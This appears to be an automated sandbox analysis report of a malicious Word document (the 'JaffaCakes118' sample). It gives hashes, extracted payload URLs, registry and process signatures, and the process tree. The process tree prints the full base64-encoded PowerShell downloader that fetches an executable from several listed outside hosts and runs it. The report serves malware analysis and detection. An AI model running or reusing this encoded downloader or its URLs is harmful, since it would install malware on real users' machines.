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Analysis
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max time kernel
129s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
01/06/2024, 07:28
Behavioral task
behavioral1
Sample
89c008a6668cfced5c53f05f3e74b24e_JaffaCakes118.doc
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
89c008a6668cfced5c53f05f3e74b24e_JaffaCakes118.doc
Resource
win10v2004-20240508-en
General
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Target
89c008a6668cfced5c53f05f3e74b24e_JaffaCakes118.doc
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Size
214KB
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MD5
89c008a6668cfced5c53f05f3e74b24e
-
SHA1
dd74ab9468c242b2e380a2a94d3990df84adba93
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SHA256
7c8c775210220e5ceee72c0c7459877dbcb72068aa6011fa6a29f5e3fda1b5f8
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SHA512
fc87efa893d36b7285513840dd5a30988f0478078975f3bd38405d1f47b4ca8d1d8c2c8c1ceafbfe225f9998fdc38663c30ff607a475887e13f3118f72d764a1
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SSDEEP
3072:EEd93LpGo0aQLjaxQCF3tmKZQHkrL2VerQfcRoC:EEd2V6xQCpttQwLZQfI
Malware Config
Extracted
http://uat-essence.oablab.com/cEP88qz
http://34.207.179.222/GPc2ykD
http://204.236.197.55/ZmkN6EP
http://107.23.200.84/EmllsJND2W
http://radioviverbem.com.br/SZYTAZDa
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 692 3484 powersheLl.exe 83 -
Blocklisted process makes network request 4 IoCs
flow pid Process 26 692 powersheLl.exe 89 692 powersheLl.exe 100 692 powersheLl.exe 109 692 powersheLl.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 848 WINWORD.EXE 848 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 692 powersheLl.exe 692 powersheLl.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 692 powersheLl.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 848 WINWORD.EXE 848 WINWORD.EXE 848 WINWORD.EXE 848 WINWORD.EXE 848 WINWORD.EXE 848 WINWORD.EXE 848 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\89c008a6668cfced5c53f05f3e74b24e_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:848
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLl.exepowersheLl -e JABXADcANABfAF8ANQAwAD0AKAAnAG4ANwAyACcAKwAnAF8AMQAnACsAJwA5ACcAKQA7ACQARgBfADQAXwA4ADAAMgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABHADcAMQAwADEAMwBfAF8APQAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAnAC8AJwArACcALwAnACsAJwB1AGEAdAAtACcAKwAnAGUAJwArACcAcwBzACcAKwAnAGUAbgAnACsAJwBjAGUALgBvAGEAYgBsAGEAYgAuAGMAbwBtAC8AYwBFAFAAOAA4AHEAegBAAGgAdAAnACsAJwB0AHAAOgAvAC8AMwA0AC4AMgAwACcAKwAnADcALgAxADcAOQAuACcAKwAnADIAMgAnACsAJwAyAC8ARwBQACcAKwAnAGMAJwArACcAMgB5AGsAJwArACcARABAAGgAdAB0ACcAKwAnAHAAOgAvAC8AMgAwADQALgAnACsAJwAyADMANgAuADEAOQAnACsAJwA3AC4ANQA1AC8AWgBtAGsATgA2AEUAUABAAGgAdAB0AHAAOgAvAC8AMQAwADcALgAyADMALgAyADAAMAAuADgANAAvAEUAbQBsAGwAcwBKAE4AJwArACcARAAyAFcAQABoAHQAJwArACcAdABwADoALwAnACsAJwAvAHIAYQBkACcAKwAnAGkAbwB2AGkAdgBlAHIAYgBlAG0ALgAnACsAJwBjAG8AJwArACcAbQAuAGIAcgAvAFMAWgBZAFQAQQBaAEQAYQAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABwAF8AOAAwADEANgA9ACgAJwBmACcAKwAnADkAMQA1ADUANgAxACcAKwAnADkAJwApADsAJABBADEAMQAwAF8AOQBfAF8AIAA9ACAAKAAnADEANwAnACsAJwA4ACcAKQA7ACQAaQBfADgANQBfAF8AXwAxAD0AKAAnAEYAMQAxADQAOAAnACsAJwBfACcAKwAnAF8AOAAnACkAOwAkAHMAOQA1ADAAOAAxADEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEEAMQAxADAAXwA5AF8AXwArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGkAMgBfADIAXwAwADgAIABpAG4AIAAkAEcANwAxADAAMQAzAF8AXwApAHsAdAByAHkAewAkAEYAXwA0AF8AOAAwADIALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAaQAyAF8AMgBfADAAOAAsACAAJABzADkANQAwADgAMQAxACkAOwAkAEQANQBfADMAXwAwAF8APQAoACcAVgA3AF8AXwAwACcAKwAnAF8ANQAnACkAOwBJAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABzADkANQAwADgAMQAxACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAcwA5ADUAMAA4ADEAMQA7ACQAaABfADMANgA3ADEAOAA9ACgAJwBGAF8ANwAxACcAKwAnADIAJwArACcANwBfAF8AJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIAOQA0AF8AXwAwADEANwA9ACgAJwBUADQAMwAnACsAJwA5ADgAXwAnACkAOwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:692
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82